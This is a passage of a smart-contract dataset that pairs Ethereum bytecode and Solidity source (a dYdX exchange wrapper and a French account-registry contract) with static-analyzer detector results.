260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2884848461158e565b600190509392505050565b600360009054906101000a900460ff1681565b6000600560009054906101000a900460ff161515610b6357600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610bb157600080fd5b610c0382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5b8260045461156d90919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60066020528060005260406000206000915090505481565b6000600560009054906101000a900460ff161515610ced57600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d3b57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dc657600080fd5b610e1882600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eea82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7f8260045461156d90919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561109357600080fd5b600560009054906101000a900460ff1615600560006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561117a5780601f1061114f5761010080835404028352916020019161117a565b820191906000526020600020905b81548152906001019060200180831161115d57829003601f168201915b505050505081565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff1615156111b257600080fd5b6111bd33848461158e565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600080600560009054906101000a900460ff16151561120557600080fd5b8490506112128585610817565b1561137c578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561130c5780820151818401526020810190506112f1565b50505050905090810190601f1680156113395780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561135b57600080fd5b505af115801561136f573d6000803e3d6000fd5b505050506001915061137d565b5b509392505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140557600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008083831115151561157f57600080fd5b82840390508091505092915050565b600560009054906101000a900460ff1615156115a957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156115cf57600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561161d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156116ac57600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561170557600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561175e57600080fd5b6117b081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561190957600080fd5b80915050929150505600a165627a7a72305820beee3ce4800a7c793330930f18b008c71d8364ce36e9a80fa38c3b6790a0d9680029
{"success": true, "error": null, "results": {}}
2,596
0xcb17e969288ae849d5e0717694c5c56e70e798ed
pragma solidity 0.4.24; pragma experimental "v0.5.0"; /* Copyright 2018 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/lib/GeneralERC20.sol /** * @title GeneralERC20 * @author dYdX * * Interface for using ERC20 Tokens. We have to use a special interface to call ERC20 functions so * that we dont automatically revert when calling non-compliant tokens that have no return value for * transfer(), transferFrom(), or approve(). */ interface GeneralERC20 { function totalSupply( ) external view returns (uint256); function balanceOf( address who ) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function transfer( address to, uint256 value ) external; function transferFrom( address from, address to, uint256 value ) external; function approve( address spender, uint256 value ) external; } // File: contracts/lib/TokenInteract.sol /** * @title TokenInteract * @author dYdX * * This library contains functions for interacting with ERC20 tokens */ library TokenInteract { function balanceOf( address token, address owner ) internal view returns (uint256) { return GeneralERC20(token).balanceOf(owner); } function allowance( address token, address owner, address spender ) internal view returns (uint256) { return GeneralERC20(token).allowance(owner, spender); } function approve( address token, address spender, uint256 amount ) internal { GeneralERC20(token).approve(spender, amount); require( checkSuccess(), "TokenInteract#approve: Approval failed" ); } function transfer( address token, address to, uint256 amount ) internal { address from = address(this); if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transfer(to, amount); require( checkSuccess(), "TokenInteract#transfer: Transfer failed" ); } function transferFrom( address token, address from, address to, uint256 amount ) internal { if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transferFrom(from, to, amount); require( checkSuccess(), "TokenInteract#transferFrom: TransferFrom failed" ); } // ============ Private Helper-Functions ============ /** * Checks the return value of the previous function up to 32 bytes. Returns true if the previous * function returned 0 bytes or 32 bytes that are not all-zero. */ function checkSuccess( ) private pure returns (bool) { uint256 returnValue = 0; /* solium-disable-next-line security/no-inline-assembly */ assembly { // check number of bytes returned from last function call switch returndatasize // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned: check if non-zero case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: dont mark as success default { } } return returnValue != 0; } } // File: contracts/margin/interfaces/ExchangeWrapper.sol /** * @title ExchangeWrapper * @author dYdX * * Contract interface that Exchange Wrapper smart contracts must implement in order to interface * with other smart contracts through a common interface. */ interface ExchangeWrapper { // ============ Public Functions ============ /** * Exchange some amount of takerToken for makerToken. * * @param tradeOriginator Address of the initiator of the trade (however, this value * cannot always be trusted as it is set at the discretion of the * msg.sender) * @param receiver Address to set allowance on once the trade has completed * @param makerToken Address of makerToken, the token to receive * @param takerToken Address of takerToken, the token to pay * @param requestedFillAmount Amount of takerToken being paid * @param orderData Arbitrary bytes data for any information to pass to the exchange * @return The amount of makerToken received */ function exchange( address tradeOriginator, address receiver, address makerToken, address takerToken, uint256 requestedFillAmount, bytes orderData ) external returns (uint256); /** * Get amount of takerToken required to buy a certain amount of makerToken for a given trade. * Should match the takerToken amount used in exchangeForAmount. If the order cannot provide * exactly desiredMakerToken, then it must return the price to buy the minimum amount greater * than desiredMakerToken * * @param makerToken Address of makerToken, the token to receive * @param takerToken Address of takerToken, the token to pay * @param desiredMakerToken Amount of makerToken requested * @param orderData Arbitrary bytes data for any information to pass to the exchange * @return Amount of takerToken the needed to complete the transaction */ function getExchangeCost( address makerToken, address takerToken, uint256 desiredMakerToken, bytes orderData ) external view returns (uint256); } // File: contracts/margin/external/exchangewrappers/OpenDirectlyExchangeWrapper.sol /** * @title OpenDirectlyExchangeWrapper * @author dYdX * * dYdX ExchangeWrapper to open a position by borrowing the owedToken instead of atomically selling * it. This requires the trader to put up the entire collateral themselves. */ contract OpenDirectlyExchangeWrapper is ExchangeWrapper { using SafeMath for uint256; using TokenInteract for address; // ============ Margin-Only Functions ============ function exchange( address tradeOriginator, address /* receiver */, address /* makerToken */, address takerToken, uint256 requestedFillAmount, bytes /* orderData */ ) external returns (uint256) { require( requestedFillAmount <= takerToken.balanceOf(address(this)), "OpenDirectlyExchangeWrapper#exchange: Requested fill amount larger than tokens held" ); TokenInteract.transfer(takerToken, tradeOriginator, requestedFillAmount); return 0; } // ============ Public Constant Functions ============ function getExchangeCost( address /* makerToken */, address /* takerToken */, uint256 desiredMakerToken, bytes /* orderData */ ) external view returns (uint256) { require( desiredMakerToken == 0, "OpenDirectlyExchangeWrapper#getExchangeCost: DesiredMakerToken must be zero" ); return 0; } }
0x60806040526004361061004b5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633a8fdd7d81146100505780637d98ebac146100a8575b600080fd5b34801561005c57600080fd5b5061009673ffffffffffffffffffffffffffffffffffffffff600480358216916024803590911691604435916064359081019101356100f8565b60408051918252519081900360200190f35b3480156100b457600080fd5b5061009673ffffffffffffffffffffffffffffffffffffffff600480358216916024803582169260443583169260643516916084359160a4359182019101356101bf565b600083156101b357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604b60248201527f4f70656e4469726563746c7945786368616e676557726170706572236765744560448201527f786368616e6765436f73743a20446573697265644d616b6572546f6b656e206d60648201527f757374206265207a65726f000000000000000000000000000000000000000000608482015290519081900360a40190fd5b50600095945050505050565b60006101e773ffffffffffffffffffffffffffffffffffffffff86163063ffffffff6102ba16565b8411156102a157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152605360248201527f4f70656e4469726563746c7945786368616e676557726170706572236578636860448201527f616e67653a205265717565737465642066696c6c20616d6f756e74206c61726760648201527f6572207468616e20746f6b656e732068656c6400000000000000000000000000608482015290519081900360a40190fd5b6102ac858986610388565b506000979650505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561035557600080fd5b505afa158015610369573d6000803e3d6000fd5b505050506040513d602081101561037f57600080fd5b50519392505050565b308115806103c157508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b156103cb57610521565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561046e57600080fd5b505af1158015610482573d6000803e3d6000fd5b5050505061048e610527565b151561052157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f546f6b656e496e746572616374237472616e736665723a205472616e7366657260448201527f206661696c656400000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b50505050565b6000803d801561053e576020811461054757610553565b60019150610553565b60206000803e60005191505b5015159190505600a165627a7a7230582040ad247528af89953493f75aeb430744f176e61dab4b6095808ba9b6f6cf99210029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
2,597
0xbb50ab269d29a6b8de4321c9335de360af0b274a
pragma solidity ^0.4.21 ; contract Annexe_SO_DIVA_SAS { address owner ; function Annexe_SO_DIVA_SAS () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_1 = 1000 ; function setTitulaire_Compte_1 ( uint256 newTitulaire_Compte_1 ) public onlyOwner { Titulaire_Compte_1 = newTitulaire_Compte_1 ; } function getTitulaire_Compte_1 () public constant returns ( uint256 ) { return Titulaire_Compte_1 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_1 = 1000 ; function setAyantDroitEconomique_Compte_1 ( uint256 newAyantDroitEconomique_Compte_1 ) public onlyOwner { AyantDroitEconomique_Compte_1 = newAyantDroitEconomique_Compte_1 ; } function getAyantDroitEconomique_Compte_1 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_1 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_2 = 1000 ; function setTitulaire_Compte_2 ( uint256 newTitulaire_Compte_2 ) public onlyOwner { Titulaire_Compte_2 = newTitulaire_Compte_2 ; } function getTitulaire_Compte_2 () public constant returns ( uint256 ) { return Titulaire_Compte_2 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_2 = 1000 ; function setAyantDroitEconomique_Compte_2 ( uint256 newAyantDroitEconomique_Compte_2 ) public onlyOwner { AyantDroitEconomique_Compte_2 = newAyantDroitEconomique_Compte_2 ; } function getAyantDroitEconomique_Compte_2 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_2 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_3 = 1000 ; function setTitulaire_Compte_3 ( uint256 newTitulaire_Compte_3 ) public onlyOwner { Titulaire_Compte_3 = newTitulaire_Compte_3 ; } function getTitulaire_Compte_3 () public constant returns ( uint256 ) { return Titulaire_Compte_3 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_3 = 1000 ; function setAyantDroitEconomique_Compte_3 ( uint256 newAyantDroitEconomique_Compte_3 ) public onlyOwner { AyantDroitEconomique_Compte_3 = newAyantDroitEconomique_Compte_3 ; } function getAyantDroitEconomique_Compte_3 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_3 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_4 = 1000 ; function setTitulaire_Compte_4 ( uint256 newTitulaire_Compte_4 ) public onlyOwner { Titulaire_Compte_4 = newTitulaire_Compte_4 ; } function getTitulaire_Compte_4 () public constant returns ( uint256 ) { return Titulaire_Compte_4 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_4 = 1000 ; function setAyantDroitEconomique_Compte_4 ( uint256 newAyantDroitEconomique_Compte_4 ) public onlyOwner { AyantDroitEconomique_Compte_4 = newAyantDroitEconomique_Compte_4 ; } function getAyantDroitEconomique_Compte_4 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_4 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_5 = 1000 ; function setTitulaire_Compte_5 ( uint256 newTitulaire_Compte_5 ) public onlyOwner { Titulaire_Compte_5 = newTitulaire_Compte_5 ; } function getTitulaire_Compte_5 () public constant returns ( uint256 ) { return Titulaire_Compte_5 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_5 = 1000 ; function setAyantDroitEconomique_Compte_5 ( uint256 newAyantDroitEconomique_Compte_5 ) public onlyOwner { AyantDroitEconomique_Compte_5 = newAyantDroitEconomique_Compte_5 ; } function getAyantDroitEconomique_Compte_5 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_5 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_6 = 1000 ; function setTitulaire_Compte_6 ( uint256 newTitulaire_Compte_6 ) public onlyOwner { Titulaire_Compte_6 = newTitulaire_Compte_6 ; } function getTitulaire_Compte_6 () public constant returns ( uint256 ) { return Titulaire_Compte_6 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_6 = 1000 ; function setAyantDroitEconomique_Compte_6 ( uint256 newAyantDroitEconomique_Compte_6 ) public onlyOwner { AyantDroitEconomique_Compte_6 = newAyantDroitEconomique_Compte_6 ; } function getAyantDroitEconomique_Compte_6 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_6 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_7 = 1000 ; function setTitulaire_Compte_7 ( uint256 newTitulaire_Compte_7 ) public onlyOwner { Titulaire_Compte_7 = newTitulaire_Compte_7 ; } function getTitulaire_Compte_7 () public constant returns ( uint256 ) { return Titulaire_Compte_7 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_7 = 1000 ; function setAyantDroitEconomique_Compte_7 ( uint256 newAyantDroitEconomique_Compte_7 ) public onlyOwner { AyantDroitEconomique_Compte_7 = newAyantDroitEconomique_Compte_7 ; } function getAyantDroitEconomique_Compte_7 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_7 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_8 = 1000 ; function setTitulaire_Compte_8 ( uint256 newTitulaire_Compte_8 ) public onlyOwner { Titulaire_Compte_8 = newTitulaire_Compte_8 ; } function getTitulaire_Compte_8 () public constant returns ( uint256 ) { return Titulaire_Compte_8 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_8 = 1000 ; function setAyantDroitEconomique_Compte_8 ( uint256 newAyantDroitEconomique_Compte_8 ) public onlyOwner { AyantDroitEconomique_Compte_8 = newAyantDroitEconomique_Compte_8 ; } function getAyantDroitEconomique_Compte_8 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_8 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_9 = 1000 ; function setTitulaire_Compte_9 ( uint256 newTitulaire_Compte_9 ) public onlyOwner { Titulaire_Compte_9 = newTitulaire_Compte_9 ; } function getTitulaire_Compte_9 () public constant returns ( uint256 ) { return Titulaire_Compte_9 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_9 = 1000 ; function setAyantDroitEconomique_Compte_9 ( uint256 newAyantDroitEconomique_Compte_9 ) public onlyOwner { AyantDroitEconomique_Compte_9 = newAyantDroitEconomique_Compte_9 ; } function getAyantDroitEconomique_Compte_9 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_9 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Titulaire_Compte_10 = 1000 ; function setTitulaire_Compte_10 ( uint256 newTitulaire_Compte_10 ) public onlyOwner { Titulaire_Compte_10 = newTitulaire_Compte_10 ; } function getTitulaire_Compte_10 () public constant returns ( uint256 ) { return Titulaire_Compte_10 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 AyantDroitEconomique_Compte_10 = 1000 ; function setAyantDroitEconomique_Compte_10 ( uint256 newAyantDroitEconomique_Compte_10 ) public onlyOwner { AyantDroitEconomique_Compte_10 = newAyantDroitEconomique_Compte_10 ; } function getAyantDroitEconomique_Compte_10 () public constant returns ( uint256 ) { return AyantDroitEconomique_Compte_10 ; } // Descriptif : // Relevé « Teneur de Compte » positions « OTC-LLV » // Edition initiale : // 19.01.2017 // // Teneur de Compte Intermédiaire : // « C****** * P******* S********** Société Autonome et décentralisée (D.A.C.) » // Titulaire des comptes (principal) / Groupe // « S***** Société par Actions Simplifiée » // // Titulaire effectif de chaque compte : // confer fonction « getTitulaire_Compte_(i) » // Ayan-droit-économique de chaque compte : // confer fonction « getAyantDroitEconomique_Compte_(j) » // // Place de marché : // « LLV_v30_12 » // Teneur de marché (sans obligation contractuelle) : // « C****** * P******* S********** Société Autonome et décentralisée (D.A.C.) » // Courtier / Distributeur : // - // Contrepartie centrale : // « LLV_v30_12 » // Dépositaire : // « LLV_v30_12 » // Teneur de compte (principal) / Holding : // « LLV_v30_12 » // Garant : // « LLV_v30_12 » // « Chambre de Compensation » : // « LLV_v30_12 » // Opérateur « Règlement-Livraison » : // « LLV_v30_12 » // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // }
0x6060604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063124ff29b146101f3578063190108b51461021c57806328e8776e146102455780632c87ba121461026e5780632f335a6a146102975780633356294b146102c0578063398d3c37146102e357806348957fb81461030c5780634de037c714610335578063592dc0a61461035e578063688cf4041461038157806368f8957a146103a45780636c30ba53146103c75780637141aa8b146103ea57806377e91f2614610413578063784aa7d21461043c5780637fb9e4051461045f578063843ff6f6146104885780638a69fead146104b15780638f33c285146104da57806393d9fd7414610503578063994cc5741461052c5780639963181e1461054f5780639c960cbb14610572578063a1b9cb8f14610595578063a5aa4348146105be578063ac232383146105e1578063b7c7ecbe1461060a578063ba0b97881461062d578063be912a0a14610650578063c2e28dd114610679578063c6c68eb71461069c578063d22b3de6146106c5578063d7c0f72b146106e8578063dbd1df9214610711578063dec96e7b14610734578063e03b304414610757578063e2bd505b1461077a578063ea2732771461079d578063f8d6b70a146107c0575b600080fd5b34156101fe57600080fd5b6102066107e3565b6040518082815260200191505060405180910390f35b341561022757600080fd5b61022f6107ed565b6040518082815260200191505060405180910390f35b341561025057600080fd5b6102586107f7565b6040518082815260200191505060405180910390f35b341561027957600080fd5b610281610801565b6040518082815260200191505060405180910390f35b34156102a257600080fd5b6102aa61080b565b6040518082815260200191505060405180910390f35b34156102cb57600080fd5b6102e16004808035906020019091905050610815565b005b34156102ee57600080fd5b6102f661087a565b6040518082815260200191505060405180910390f35b341561031757600080fd5b61031f610884565b6040518082815260200191505060405180910390f35b341561034057600080fd5b61034861088e565b6040518082815260200191505060405180910390f35b341561036957600080fd5b61037f6004808035906020019091905050610898565b005b341561038c57600080fd5b6103a260048080359060200190919050506108fd565b005b34156103af57600080fd5b6103c56004808035906020019091905050610962565b005b34156103d257600080fd5b6103e860048080359060200190919050506109c7565b005b34156103f557600080fd5b6103fd610a2c565b6040518082815260200191505060405180910390f35b341561041e57600080fd5b610426610a36565b6040518082815260200191505060405180910390f35b341561044757600080fd5b61045d6004808035906020019091905050610a40565b005b341561046a57600080fd5b610472610aa5565b6040518082815260200191505060405180910390f35b341561049357600080fd5b61049b610aaf565b6040518082815260200191505060405180910390f35b34156104bc57600080fd5b6104c4610ab9565b6040518082815260200191505060405180910390f35b34156104e557600080fd5b6104ed610ac3565b6040518082815260200191505060405180910390f35b341561050e57600080fd5b610516610acd565b6040518082815260200191505060405180910390f35b341561053757600080fd5b61054d6004808035906020019091905050610ad7565b005b341561055a57600080fd5b6105706004808035906020019091905050610b3c565b005b341561057d57600080fd5b6105936004808035906020019091905050610ba1565b005b34156105a057600080fd5b6105a8610c06565b6040518082815260200191505060405180910390f35b34156105c957600080fd5b6105df6004808035906020019091905050610c10565b005b34156105ec57600080fd5b6105f4610c75565b6040518082815260200191505060405180910390f35b341561061557600080fd5b61062b6004808035906020019091905050610c7f565b005b341561063857600080fd5b61064e6004808035906020019091905050610ce4565b005b341561065b57600080fd5b610663610d49565b6040518082815260200191505060405180910390f35b341561068457600080fd5b61069a6004808035906020019091905050610d53565b005b34156106a757600080fd5b6106af610db8565b6040518082815260200191505060405180910390f35b34156106d057600080fd5b6106e66004808035906020019091905050610dc2565b005b34156106f357600080fd5b6106fb610e27565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b6107326004808035906020019091905050610e31565b005b341561073f57600080fd5b6107556004808035906020019091905050610e96565b005b341561076257600080fd5b6107786004808035906020019091905050610efb565b005b341561078557600080fd5b61079b6004808035906020019091905050610f60565b005b34156107a857600080fd5b6107be6004808035906020019091905050610fc5565b005b34156107cb57600080fd5b6107e1600480803590602001909190505061102a565b005b6000600a54905090565b6000600654905090565b6000601254905090565b6000600354905090565b6000601154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087057600080fd5b8060068190555050565b6000600254905090565b6000600854905090565b6000600f54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108f357600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095857600080fd5b8060088190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109bd57600080fd5b8060028190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2257600080fd5b8060078190555050565b6000600554905090565b6000601454905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9b57600080fd5b8060098190555050565b6000601354905090565b6000600d54905090565b6000600154905090565b6000601054905090565b6000600754905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3257600